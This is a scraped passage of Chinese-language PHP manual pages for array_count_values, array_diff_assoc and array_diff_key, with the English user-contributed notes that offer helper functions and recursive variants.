$bar = array_combine($not_okay, $not_okay);

/*

Results:

$foo = {
  [0]=> int(0)
  [10]=> int(10)
  [20]=> int(20)
  [30]=> int(30)
}

$bar = {
  [0]=> float(0.5)
  [1]=> float(1.5)
}

*/

?>

What can you do? In my case, I was just zipping up some select-box options, so I converted everything in my floats to strings.
Khaly 04-Oct-2007 02:11
This is the function for PHP4 :

<?php

function array_combine($arr1,$arr2) {
   $out = array();
   foreach($arr1 as $key1 => $value1)    {
    $out[$value1] = $arr2[$key1];
   }
   return $out
}

?>
neoyahuu at yahoo dot com 19-Mar-2007 08:36
Some tips for merging same values in an array

<?php
$array1 = array(1,2,3,4,5,6,7,8,9,10,11,12);
$array2 = array(1,2,3,13);

$merged = array_merge($array1,$array2);

// output normal array_merge
echo '<pre>After array_merge :
';
print_r($merged);
echo '</pre>';

// do double flip for merging values in an array
$merged = array_flip($merged);
$merged = array_flip($merged);

// Output after
echo '<pre>After Double Flip :
';
print_r($merged);
echo '</pre>';
?>

Output ::

After array_merge :
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [12] => 1
    [13] => 2
    [14] => 3
    [15] => 13
)

After Double Flip :
Array
(
    [12] => 1
    [13] => 2
    [14] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [15] => 13
)


统计数组中每个不同值的出现次数

  • ? array_combine
  • array_diff_assoc ?
  • PHP Manual
  • 数组 函数
  • 统计数组中每个不同值的出现次数

array_count_values

(PHP 4, PHP 5, PHP 7, PHP 8)

array_count_values — 统计数组中每个不同值的出现次数

说明

array_count_values(array $array): array

array_count_values() 返回一个数组： 数组的键（必须是 int 或 string）是 array 里单元的值； 数组的值是 array 单元的值出现的次数。

参数

array

统计这个数组的值

返回值

返回一个关联数组，用 array 数组中的值作为键名，该值在数组中出现的次数作为值。

错误／异常

对数组里面的每个不是 string 或 int 类型的元素抛出一个警告错误（E_WARNING）。

示例

Example #1 array_count_values() 例子

<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));
?>

以上示例会输出：

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

参见

  • count() - 统计数组、Countable 对象中所有元素的数量
  • array_unique() - 移除数组中重复的值
  • array_values() - 返回数组中所有的值
  • count_chars() - 返回字符串所用字符的信息

User Contributed Notes

Rmr 26-Sep-2023 10:50
If you have a multidimensional array with unknown dimensions, you cannot use this function, use instead:

<?php
function array_count_recursive(array $arr): array {
    $occurrences = [] ;
    array_walk_recursive( $arr, function($value, $key) use (&$occurrences) {
       @ $occurrences[$value]++;
       // @ to surpress warnings "Undefined array key". In php8 you can also use
       // $occurrences[$value] = ($occurrences[$value] ?? 0) + 1
    });
    return $occurrences;
}
?>
tyler at tloc dot com 19-Jan-2023 01:55
A cleaner way to use array_count_values() to find boolean counts.

<?php

$list = [
  ['id' => 1, 'result' => true],
  ['id' => 2, 'result' => true],
  ['id' => 3, 'result' => false],
];
$result = true;

echo array_count_values(array_map('intval', array_column($list, 'result')))[(int)$result];
// outputs: 2
?>
anvil_sa at NOSPAMNO dot hotmail dot com 15-May-2020 02:15
Based on sergolucky96 suggestion
Simple way to find number of items with specific *boolean* values in multidimensional array:

<?php

$list = [
  ['id' => 1, 'result' => true],
  ['id' => 2, 'result' => true],
  ['id' => 3, 'result' => false],
];
$result = true;

echo array_count_values(array_map(function($v) {return $v?'true':'false';},array_column($list, 'result')))[$result]
// outputs: 2

?>
sergolucky96 at gmail dot com 29-Nov-2017 01:52
Simple way to find number of items with specific values in multidimensional array:

<?php

$list = [
  ['id' => 1, 'userId' => 5],
  ['id' => 2, 'userId' => 5],
  ['id' => 3, 'userId' => 6],
];
$userId = 5;

echo array_count_values(array_column($list, 'userId'))[$userId]; // outputs: 2
?>
Dominic Vonk 13-Dec-2013 04:11
The case-insensitive version:

<?php
function array_count_values_ci($array) {
    $newArray = array();
    foreach ($array as $values) {
        if (!array_key_exists(strtolower($values), $newArray)) {
            $newArray[strtolower($values)] = 0;
        }
        $newArray[strtolower($values)] += 1;
    }
    return $newArray;
}
?>
szczepan.krolgmail.c0m 17-Jan-2010 11:21
Here is a Version with one or more arrays, which have similar values in it:
Use $lower=true/false to ignore/set case Sensitiv.

<?php

$ar1[] = array("red","green","yellow","blue");
$ar1[] = array("green","yellow","brown","red","white","yellow");
$ar1[] = array("red","green","brown","blue","black","yellow");
#$ar1= array("red","green","brown","blue","black","red","green"); // Possible with one or multiple Array

$res = array_icount_values ($ar1);
print_r($res);

function array_icount_values($arr,$lower=true) {
     $arr2=array();
     if(!is_array($arr['0'])){$arr=array($arr);}
     foreach($arr as $k=> $v){
      foreach($v as $v2){
      if($lower==true) {$v2=strtolower($v2);}
      if(!isset($arr2[$v2])){
          $arr2[$v2]=1;
      }else{
           $arr2[$v2]++;
           }
    }
    }
    return $arr2;
}
/*
Will print:
Array
(
    [red] => 3
    [green] => 3
    [yellow] => 4
    [blue] => 2
    [brown] => 2
    [white] => 1
    [black] => 1
)
*/
?>
rabies dot dostojevski at gmail dot com 21-Feb-2007 01:40
I couldn't find a function for counting the values with case-insensitive matching, so I wrote a quick and dirty solution myself:

<pre><?php
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) {
        foreach($ret_array as $key2 => $value2) {
            if(strtolower($key2) == strtolower($value)) {
                $ret_array[$key2]++;
                continue 2;
            }
        }
        $ret_array[$value] = 1;
    }
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar2 = array_count_values($ar); // Normal matching
$ar = array_icount_values($ar); // Case-insensitive matching
print_r($ar2);
print_r($ar);
?></pre>

This prints:

Array
(
    [J. Karjalainen] => 3
    [60] => 2
    [j. karjalainen] => 1
    [Fastway] => 2
    [FASTWAY] => 1
    [fastway] => 1
    [YUP] => 1
)
Array
(
    [J. Karjalainen] => 4
    [60] => 2
    [Fastway] => 4
    [YUP] => 1
)

I don't know how efficient it is, but it seems to work. Needed this function in one of my scripts and thought I would share it.
pmarcIatIgeneticsImedIharvardIedu 29-Jan-2003 05:42
array_count_values function does not work on multidimentional arrays.
If $score[][] is a bidimentional array, the command
"array_count_values ($score)" return the error message "Warning: Can only count STRING and INTEGER values!".


带索引检查计算数组的差集

  • ? array_count_values
  • array_diff_key ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的差集

array_diff_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

array_diff_assoc — 带索引检查计算数组的差集

说明

array_diff_assoc(array $array, array ...$arrays): array

array_diff_assoc() 返回一个数组，该数组包括了所有在 array 中但是不在任何其它参数 arrays 中的值。注意和 array_diff() 不同的是键名也用于比较。

参数

array

从这个数组进行比较

arrays

要比较的数组

返回值

返回一个 array，包含所有在 array 中但是不在任何其它参数数组中的值。

更新日志

版本 | 说明
8.0.0 | 现在可以仅使用一个参数调用此函数。以前，至少需要两个参数。

示例

Example #1 array_diff_assoc() 示例

在此示例中，键值对 "a" => "green" 在两个数组中都有，因此不在本函数的输出中。不同的是，键值对 0 => "red" 出现在输出中，这是因为第一个数组的 "red" 的 key 自动分配为 0，而在第二个数组中，由于键名 0 已经被 yellow 占用，key 分配为 1。

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

以上示例会输出：

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

Example #2 array_diff_assoc() 示例

键值对 key => value 中的两个值仅在 (string) $elem1 === (string) $elem2 时被认为相等。也就是说使用了严格检查，字符串的表达必须相同。

<?php
$array1 = array(0, 1, 2);
$array2 = array("00", "01", "2");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

以上示例会输出：

Array
(
    [0] => 0
    [1] => 1
)

注释

Note: 注意本函数只检查了多维数组中的一维。可以用 array_diff_assoc($array1[0], $array2[0]); 检查更深的维度。

Note: 使用更多的键比较相似数组时，确保参数传入的顺序是正确的。新的数组应该是在列表里的第一个。

参见

  • array_diff() - 计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集

User Contributed Notes

nekto 19-Jul-2022 01:53
PHP associative keys are case-sensitive, key "a" is different from key "A":

<?php
$arr = ["A" => 666];
var_dump($arr["a"]);
var_dump($arr["A"]);
?>

produces:
NULL
int(666)

And in the same way, array_diff_assoc treats keys case-sensitively, and key "A" is not equal to key "a" and will be diffed:

<?php
// in arrays below value of "a" and "A" are the same, but keys are different
// values of "b" are different
// values of "c" are the same
$compareWhat = ["a" => 666, "b" => 666, "c" => 666, ];
$compareWith = ["A" => 666, "b" => 667, "c" => 666, ];

var_dump(array_diff_assoc($compareWhat, $compareWith));
?>

produces:
array(2) {
["a"]=> int(666)
["b"]=> int(666)
}

And if the order of values in array is different, the order of the result will be different, although essentially the result stays the same:

<?php
// the same as above, but "b" comes before "a" in $compareWhat
$compareWhat = ["b" => 666, "a" => 666, "c" => 666, ];
$compareWith = ["A" => 666, "b" => 667, "c" => 666, ];

var_dump(array_diff_assoc($compareWhat, $compareWith));
?>

produces:
array(2) {
["b"]=> int(666)
["a"]=> int(666)
}
folurinyinka at gmail dot com 23-Apr-2022 08:38
Recursive implementation accepting multiple n-level-arrays as parameters:

```php
function recursiveDiff(...$arrays)
{
    $first = array_shift($arrays);
    $diff = [];

    foreach ($first as $key => $value) {
        $values = array_map(function ($arr) use ($key) {
            if (is_array($arr) && !array_key_exists($key, $arr)) {
                return null;
            }

            return isset($arr[$key]) ? $arr[$key] : null;
        }, $arrs);

        if (in_array($value, $values)) {
            continue;
        }

        if (is_array($value)) {
            array_unshift($values, $value);
            $diff[$key] = call_user_func_array(__FUNCTION__, $values);
            continue;
        }

        $diff[$key] = $first[$key];
    }

    return $diff;
}
```
angujomondi at gmail dot com 28-Mar-2021 07:49
For recursive diff of multiple arrays, exending solution provided by Gosh.

<?php

function array_diff_assoc_recursive(array $array, array ...$arrays)
    {
        $func  = function($array1, $array2) use (&$func){
            $difference = [];
            foreach ($array1 as $key => $value) {
                if (is_array($value)) {
                    if (!isset($array2[$key]) || !is_array($array2[$key])) {
                        $difference[$key] = $value;
                    } else {
                        $new_diff = $func($value, $array2[$key]);
                        if (!empty($new_diff)) {
                            $difference[$key] = $new_diff;
                        }
                    }
                } else {
                    if (!array_key_exists($key, $array2) || $array2[$key] !== $value) {
                        $difference[$key] = $value;
                    }
                }
            }
            return $difference;
        };
        $diffs = $array;
        foreach ($arrays as $_array) {
            $diffs = $func($diffs, $_array);
        }
        return $diffs;
    }

?>
spark dot crz at gmail dot com 02-Apr-2018 04:56
Recursive implementation accepting multiple n-level-arrays as parameters:

<?php
function recursiveDiff() {
    $arrs = func_get_args();
    $first = array_shift($arrs);
    $diff = [];

    foreach($first as $key => $value) {
        $values = array_map(function($arr) use($key){
            if (is_array($arr) && !array_key_exists($key, $arr))
                return null;

            return $arr[$key];
        }, $arrs);

        if (in_array($value, $values))
            continue;

        if (is_array($value)) {
            array_unshift($values, $value);
            $diff[$key] = call_user_func_array(__FUNCTION__, $values);
            continue;
        }

        $diff[$key] = $first[$key];
    }

    return $diff;
}
?>

The other attempt was cleaner but didn't work for all cases.
spark dot crz at gmail dot com 02-Apr-2018 03:29
Yet another recursive implementation, without if-else hell and with multiple parameters just like the original.

<?php
function recursiveDiff() {
    $arrs = func_get_args();
    $diff = call_user_func_array('array_diff_assoc', $arrs);

    foreach($diff as $key => $value) {
        if (!is_array($value))
            continue;

        $children = array_map(function($arr) use($key){
            return $arr[$key];
        }, $arrs);

        $diff[$key] = call_user_func_array(__FUNCTION__, $children);
    }

    return $diff;
}
tero dot lahtinen at iki dot fi 10-Oct-2017 03:23
array_diff_assoc will fail, if a value is something that can not be converted to a string.
francois-php at ceonizme dot fr 28-Aug-2014 06:27
to chinello at gmail dot com
I've had to use your function but it showed that the use of isset can't differentiate the NULL values from not setted values.

Here's a version that takes care of this subtility.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    $difference = NULL;
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
            if(!array_key_exists($key, $array2))
            {
                $difference[$key] = $value;
            }
            elseif(!is_array($array2[$key]))
            {
                $difference[$key] = $value;
            }
            else
            {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if($new_diff != FALSE)
                {
                    $difference[$key] = $new_diff;
                }
            }
        }
        elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
        {
            $difference[$key] = $value;
        }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

Hope that helps
Fran?ois
shadow_games at abv dot bg 11-Jun-2014 03:45
there is a functiont that i searched long enough now i have created it so someone else to find it if he need it ;]
<?php
    function compare_two_object_recursive($object_1, $object_2, $object_1_Identifier = false, $object_2_Identifier = false){
        $object1 = (array)$object_1;
        $object2 = (array)$object_2;
        $object3 = array();

        $o1i = $object_1_Identifier ? $object_1_Identifier : 1;
        $o2i = $object_2_Identifier ? $object_2_Identifier : 2;

        foreach($object1 as $key => $value){
            if(is_object($object1[$key])){
                $object1[$key] = (array)$object1[$key];
                $object2[$key] = (array)$object2[$key];
                $object3[$key] = (object)compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }elseif(is_array($object1[$key])){
                $object3[$key] = compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }else{
                if($object1[$key] == $object2[$key]){
                    $object3[$key]['comparison_status'] = "SAME";
                }else{
                    $object3[$key]['comparison_status'] = "NOT THE SAME";
                    $object3[$key][$o1i] = $object1[$key];
                    $object3[$key][$o2i] = $object2[$key];
                }
            }
        }
        return $object3;
    }
?>
dev5er6 at gmail dot com 13-Apr-2014 04:01
Works more like the original function:

<?php

function array_diff_assoc_recursive ( )
{
    $args = func_get_args ( );
    $diff = array ( );
    foreach ( array_shift ( $args ) as $key => $val )
    {
        for ( $i = 0, $j = 0, $tmp = array ( $val ) , $count = count ( $args ); $i < $count; $i++ )
            if ( is_array ( $val ) )
                if ( !isset ( $args[$i][$key] ) || !is_array ( $args[$i][$key] ) || empty( $args[$i][$key] ) )
                    $j++;
                else
                    $tmp[] = $args[$i][$key];
            elseif ( ! array_key_exists ( $key, $args[$i] ) || $args[$i][$key] !== $val )
                $j++;
        if ( is_array ( $val ) )
        {
            $tmp = call_user_func_array ( __FUNCTION__, $tmp );
            if ( ! empty ( $tmp ) ) $diff[$key] = $tmp;
            elseif ( $j == $count ) $diff[$key] = $val;
        }
        elseif ( $j == $count && $count ) $diff[$key] = $val;
    }

    return $diff;
}

?>
telefoontoestel at hotmail dot com 04-Feb-2014 09:11
an earlier post for recursive array_diff_assoc failed because isset returned false on an array element containing a null value. I updated the code so it compares null values too.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>
Michael Richey 04-May-2013 01:43
If you're looking for a true array_diff_assoc, comparing arrays to determine the difference between two, finding missing values from both, you can use this along with array_merge.

$a = array('a'=>1,'b'=>2,'c'=>3);
$b = array('a'=>1,'b'=>2,'d'=>4);
print_r(array_diff_assoc($a,$b));
// returns:
array
(
    [c] => 3
)

print_r(array_diff_assoc($b,$a));
// returns
array
(
    [d] => 4
)

print_r(array_merge(array_diff_assoc($a,$b),array_diff_assoc($b,$a)));
// returns
array
(
    [c] => 3
    [d] => 4
)
Giosh 15-Mar-2013 11:15
The array_diff_assoc_array from "chinello at gmail dot com" (and others) will not work for arrays with null values. That's because !isset is true when an array key doesn't exists or is set to null.

(sorry for the changed indent-style)
<?php
function array_diff_assoc_recursive($array1, $array2) {
    $difference=array();
    foreach($array1 as $key => $value) {
        if( is_array($value) ) {
            if( !isset($array2[$key]) || !is_array($array2[$key]) ) {
                $difference[$key] = $value;
            } else {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if( !empty($new_diff) )
                    $difference[$key] = $new_diff;
            }
        } else if( !array_key_exists($key,$array2) || $array2[$key] !== $value ) {
            $difference[$key] = $value;
        }
    }
    return $difference;
}
?>

And here an example (note index 'b' in the output):
<?php
$a1=array( 'a' => 0, 'b' => null, 'c' => array( 'd' => null ) );
$a2=array( 'a' => 0, 'b' => null );

var_dump( array_diff_assoc_recursive( $a1, $a2 ) );
var_dump( chinello_array_diff_assoc_recursive( $a1, $a2 ) );
?>
array(1) {
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}

array(2) {
  ["b"]=>
  NULL
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}
news_yodpeirs at thoftware dot de 12-Jul-2011 04:25
A quite simple (yet not very efficient) way to compare the first level of arrays which have values that are not strings:
array_map('unserialize',array_diff_assoc(array_map('serialize',$arr1),array_map('serialize',$arr2)))
Might be useful for debugging (that's what I use it for).
jrajpu10 at gmail dot com 25-Oct-2008 12:57
array_diff_assoc can also be used to find the duplicates in an array

<?php
$arr = array('1','2','3','4','3','2','5');
$uniques = array_unique($arr);
// array_diff will not work here, array_diff_assoc works as it takes the key // in account.
$dups = array_diff_assoc($arr, $uniques);

print_r($dups);
?>

Note: The index of the $dups is not in strict sequential order as expected by C programmer.
cedric at daneel dot net 21-May-2007 06:01
To diff between n-dimensional array, juste use this :

<?php
function array_diff_values($tab1, $tab2)
    {
    $result = array();
    foreach($tab1 as $values) if(! in_array($values, $tab2)) $result[] = $values;
    return $result;
    }
?>
contact at pascalopitz dot com 11-Apr-2007 04:14
The direction of the arguments does actually make a difference:

<?php
$a = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
);

$b = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
    'g' => 'g',
);

print_r(array_diff_assoc($a, $b));
print_r(array_diff_assoc($b, $a));
?>

echoes:

Array
(
)
Array
(
    [g] => g
)
chinello at gmail dot com 18-Mar-2007 10:33
The following will recursively do an array_diff_assoc, which will calculate differences on a multi-dimensional level.  This not display any notices if a key don't exist and if error_reporting is set to E_ALL:

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!isset($array2[$key]) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

[NOTE BY danbrown AT php DOT net: This is a combination of efforts from previous notes deleted.  Contributors included (Michael Johnson), (jochem AT iamjochem DAWT com), (sc1n AT yahoo DOT com), and (anders DOT carlsson AT mds DOT mdh DOT se).]
Alexander Podgorny 30-May-2006 02:30
NOTE: the diff_array also removes all the duplicate values that match to the values in the second array:

<?php
    $array1 = array("a","b","c","a","a");
    $array2 = array("a");

    $diff = array_diff($array1,$array2);

    // yields: array("b","c") the duplicate "a" values are removed
?>
benjamin at moonfactory dot co dot jp 11-Jan-2005 09:56
Hi all,
For php versions < 4.3...

<?php
/**
 * array_diff_assoc for version < 4.3
 **/
if (!function_exists('array_diff_assoc'))
{
    function array_diff_assoc($a1, $a2)
    {
        foreach($a1 as $key => $value)
        {
            if(isset($a2[$key]))
            {
                if((string) $value !== (string) $a2[$key])
                {
                     $r[$key] = $value;
                }
            }else
            {
                $r[$key] = $value;
            }
        }
        return $r ;
    }
}

?>
carl at thep dot lu dot se 09-May-2003 02:55
To unset elements in an array if you know the keys but not the values, you can do:

<?php
$a = array("foo", "bar", "baz", "quux");
$b = array(1, 3); // Elements to get rid of

foreach($b as $e)
  unset($a[$e]);
?>

Of course this makes most sense if $b has many elements or is dynamically generated.


使用键名比较计算数组的差集

  • ? array_diff_assoc
  • array_diff_uassoc ?
  • PHP Manual
  • 数组 函数
  • 使用键名比较计算数组的差集

array_diff_key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_diff_key — 使用键名比较计算数组的差集

说明

array_diff_key(array $array, array ...$arrays): array

根据 array 中的键名和 arrays 进行比较，返回不同键名的项。 本函数和 array_diff() 相同只除了比较是根据键名而不是值来进行的。

参数

array

从这个数组进行比较

arrays

要进行比较的数组

返回值

返回一个数组，该数组包含了所有出现在 array 中但是未出现在任何其它数组中的键名的值。

更新日志

版本 | 说明
8.0.0 | 现在可以仅使用一个参数调用此函数。以前，至少需要两个参数。

示例

Example #1 array_diff_key() 例

在 key => value 对中的两个键名仅在 (string) $key1 === (string) $key2 时被认为相等。换句话说，执行的是严格类型检查，因此字符串的表达必须完全一样。

<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'yellow' => 7, 'cyan' => 8);

var_dump(array_diff_key($array1, $array2));
?>

以上示例会输出：

array(3) {
  ["blue"]=>
  int(1)
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}
<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'yellow' => 7, 'cyan' => 8);
$array3 = array('blue' => 6, 'yellow' => 7, 'mauve' => 8);

var_dump(array_diff_key($array1, $array2, $array3));
?>

以上示例会输出：

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

注释

Note:

注意本函数只检查了多维数组中的一维。当然，可以用 array_diff_key($array1[0], $array2[0]); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_ukey() - 用回调函数对键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_key() - 使用键名比较计算数组的交集
  • array_intersect_ukey() - 在键名上使用回调函数来比较计算数组的交集

User Contributed Notes

rhallsey at yahoo dot com 13-Sep-2014 12:45
Here's a simple function that returns true if all keys in the first array are found in the second array, and false if they aren't.

function same_keys ($a1, $a2) {
    $same = false;
    if (!array_diff_key($a1, $a2)) {
        $same = true;
        foreach ($a1 as $k => $v) {
            if (is_array($v) && !same_keys($v, $a2[$k])) {
                $same = false;
                break;
            }
        }
    }
    return $same;
}

To check if two arrays have the same structure, ignoring values, execute the function twice, the second time with the arguments reversed.
gk at anuary dot com 29-Jun-2013 03:40
Improved recursive version.

<?php
/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 03 19)
 */
function array_diff_key_recursive (array $arr1, array $arr2) {
    $diff = array_diff_key($arr1, $arr2);
    $intersect = array_intersect_key($arr1, $arr2);

    foreach ($intersect as $k => $v) {
        if (is_array($arr1[$k]) && is_array($arr2[$k])) {
            $d = array_diff_key_recursive($arr1[$k], $arr2[$k]);

            if ($d) {
                $diff[$k] = $d;
            }
        }
    }

    return $diff;
}
?>

An up to date version is maintained at https://github.com/gajus/flow/blob/master/flow.inc.php#L337.
division-par-zero at zilon dot net 03-Oct-2008 07:02
you can use this function for return the difference of two array !

<?php
function array_unique_diff_key ($array1, $array2)
{
  if (is_array($array1) && is_array($array2))
    return array_diff_key($array1, $array2) + array_diff_key($array2, $array1);
  else if (is_array($array1)) return $array1;
  else if (is_array($array2)) return $array2;
  else return array();
}
?>
Ashton 02-Apr-2008 01:33
To return the unique elements (those with a key that exists only once in either array but not in both) try:
function array_unique_diff ($array1, $array2)
{
  array_merge(array_diff_key($array1, $array2), array_diff_key($array2, $array1));
}

Example:
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

  array_diff_key($array1, $array2)

returns

  array ( 'red' => 2, 'purple' => 4 )

  array_diff_key($array2, $array1)

returns

  array ( 'yellow' => 7, 'cyan' => 8, )

  array_unique_diff($array1, $array2);

returns

  array ( 'red' => 2, 'purple' => 4, 'yellow' => 7, 'cyan' => 8, )
sjungwirth at matrix-consultants dot com 28-Feb-2008 12:08
I needed something a little different where maybe even the keys in multidimensional arrays don't match up. Setting $assoc to false will cause only to check for missing keys, otherwise it compares values as well. This was also based on '2ge at 2ge dot us' function

<?php

function n_array_diff_assoc ($a1, $a2, $assoc=true) {
    $r = array();
    if(is_array(current($a1))):
        foreach($a1 as $k => $v):
            if(isset($a2[$k])):
                $diff = n_array_diff($a1[$k], $a2[$k], $assoc);
                if (!empty($diff)):
                    $r[$k] = $diff;
                endif;
            else:
                $r[$k] = $v;
            endif;
        endforeach;
    else:
        $r = $assoc ? array_diff_assoc($a1, $a2) : array_diff_key($a1, $a2);
    endif;
    return $r;
}
?>
coder at gs dot com 16-Feb-2008 02:00
The PHP4 version below works only unidirectionally. If you switch the arrays around i.e. (ar2, ar1) you get different results than (ar1, ar2).
AiFiLTr0 [at host] invyl [dot] ath.cx 29-Nov-2007 05:56
The recursive function suggested by '2ge at 2ge dot us' will provide you with empty arrays if there's no diff.
This variant of the function cleans up empty arrays and fixes a bug in the first suggested version. It works 100%
.
<?php
function array_diff_key_recursive ($a1, $a2) {
        foreach($a1 as $k => $v) {
            //$r[$k] = is_array($v) ? $this->array_diff_key_recursive($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        if (is_array($v))
            {
            $r[$k]=$this->array_diff_key_recursive($a1[$k], $a2[$k]);
            }else
            {
            $r=array_diff_key($a1, $a2);
            }

        if (is_array($r[$k]) && count($r[$k])==0)
            {
            unset($r[$k]);
            }
        }
        return $r;
    }
?>
2ge at 2ge dot us 07-Mar-2006 11:28
Hello, if you need diff key of n-dimensional arrays here is nice solution:
<?php
function n_array_diff ($a1, $a2) {
        foreach($a1 as $k => $v) {
            $r[$k] = is_array($v) ? n_array_diff($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        }
        return $r;
}
?>
it will print everything, what is missing in $a2.
vlad_mustafin at ukr dot net 13-Jan-2006 07:39
One more alternative variant :)
<?
if (!function_exists('array_diff_key')) {
    function array_diff_key() {
        $argCount   = func_num_args();
        $diff_arg_prefix = 'diffArg';
        $diff_arg_names = array();
        for ($i=0; $i < $argCount; $i++) {
            $diff_arg_names[$i] = 'diffArg'.$i;
            $$diff_arg_names[$i] = array_keys((array)func_get_arg($i));
        }
        $diffArrString = '';
        if (!empty($diff_arg_names)) $diffArrString =  '$'.implode(', $', $diff_arg_names);
        eval("\$result = array_diff(".$diffArrString.");");
        return $result;
    }
}
?>
ampf at egp dot up dot pt 25-Nov-2005 12:55
Well, you could implement in the code something more powerfull:

http://www.php.net/manual/en/function.array-diff.php#31364
maxence at pontapreta dot net 27-May-2005 10:38
Seems to be a great function, especially for n-dimensions arrays. The only problem is that I cannot find it in php 5.0.3 and 5.0.4. Does it really exist ?! :(

[20:27:05][maxence@conurb] ~/test2/php-5.0.4$ grep PHP_FUNCTION * -r | grep -i array_diff_key
[20:27:09][maxence@conurb] ~/test2/php-5.0.4$


用用户提供的回调函数做索引检查来计算数组的差集

  • ? array_diff_key
  • array_diff_ukey ?
  • PHP Manual
  • 数组 函数
  • 用用户提供的回调函数做索引检查来计算数组的差集

array_diff_uassoc

(PHP 5, PHP 7, PHP 8)

array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集

说明

array_diff_uassoc(array $array, array ...$arrays, callable $key_compare_func): array

比较了 array 和 arrays 并返回不同之处。 注意和 array_diff() 不同的是键名也用于比较。

和 array_diff_assoc() 不同的是使用了用户自定义的回调函数，而不是内置的函数。

参数

array

待比较的数组

arrays

要比较的数组

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回一个 array，该数组包括了所有在 array 中但是不在任何其它参数数组中的值。

示例

Example #1 array_diff_uassoc() 示例

在此示例中，键值对 "a" => "green" 在两个数组中都有，因此不在本函数的输出中。不同的是，键值对 0 => "red" 出现在输出中，这是因为第一个数组的 "red" 的 key 自动分配为 0，而在第二个数组中，由于键名 0 已经被 yellow 占用，key 分配为 1。

<?php
function key_compare_func($a, $b)
{
return $a <=> $b;
}

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
